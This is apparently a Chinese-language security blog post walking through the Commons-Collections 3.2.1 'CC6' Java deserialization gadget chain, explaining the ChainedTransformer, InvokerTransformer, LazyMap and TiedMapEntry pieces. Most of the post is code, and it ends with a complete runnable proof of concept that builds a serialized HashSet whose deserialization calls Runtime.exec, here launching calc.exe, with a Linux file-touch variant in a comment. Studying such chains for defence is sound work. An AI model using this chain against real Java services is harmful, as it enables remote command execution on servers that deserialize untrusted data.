Featured image of post JavaSec CC6

JavaSec CC6

环境

CC6无jdk限制,本次使用jdk8u472,common-collections要求3.2.1

3.2.1源码

https://maven.aliyun.com/repository/public/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar

Transformers

Transformer基类具有transform接口

ChainedTransform(Transformer[]).transform 对于自身所持有的transformer对象依次调用transform方法,并将调用返回结果作为下一次调用的参数

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

ConstantTransformer.transform 直接返回构造参数

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

public Object transform(Object input) {
    return iConstant;
}

InvokeTransformer.transform 通过反射调用input类的特定方法

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

总体流程如下

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
	// 当前链内容:Runtime
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
	// 当前链内容:Runtime.getMethod
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
	// 当前链内容:Runtime.getMethod('invoke')
        // Windows:calc.exe | Linux:touch /tmp/cc6_success
new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
        ),
	// 当前链内容:Runtime.invoke('exec','cacl.exe')
        new ConstantTransformer(null)
};
Transformer chain = new ChainedTransformer(transformers);

触发Transformers链

LazyMap

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

触发流程

使用decorate方法把利用链绑定到Lazymap的factory,如果能调用到lazyMap的get方法即可触发chainedTransformer的transform,成功触发

完整代码

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);

触发LazyMap的get方法

TiedMapEntry entry = new TiedMapEntry(lazyMap, "testKey");

// ===================== 步骤4:构造 HashSet 并绑定 TiedMapEntry =====================
HashSet hashSet = new HashSet();
// 向 HashSet 添加 TiedMapEntry(反序列化时会调用 entry 的 hashCode 触发 get)
hashSet.add(entry);
// 移除 entry 确保反序列化时重新计算 hashCode
lazyMap.remove("testKey");

完整POC

package org.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        // ===================== 步骤1:构造恶意 Transformer 调用链 =====================
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                // Windows:calc.exe | Linux:touch /tmp/cc6_success
new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                ),
                new ConstantTransformer(null)
        };
        Transformer chain = new ChainedTransformer(transformers);

        // ===================== 步骤2:构造 LazyMap 触发 Transformer =====================
Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);

        // ===================== 步骤3:核心修复:用 TiedMapEntry 间接触发 LazyMap.get =====================
        // TiedMapEntry 的 hashCode/equals 方法会调用 LazyMap.get,绕过 HashSet.map 类型限制
TiedMapEntry entry = new TiedMapEntry(lazyMap, "testKey");

        // ===================== 步骤4:构造 HashSet 并绑定 TiedMapEntry =====================
HashSet hashSet = new HashSet();
        // 向 HashSet 添加 TiedMapEntry(反序列化时会调用 entry 的 hashCode 触发 get)
hashSet.add(entry);
        // 移除 entry 确保反序列化时重新计算 hashCode
lazyMap.remove("testKey");

        // ===================== 步骤5:序列化恶意对象 =====================
ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashSet);
        oos.close();

        // ===================== 步骤6:反序列化触发漏洞 =====================
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 触发命令执行
ois.close();
    }
}
使用 Hugo 构建
主题 StackJimmy 设计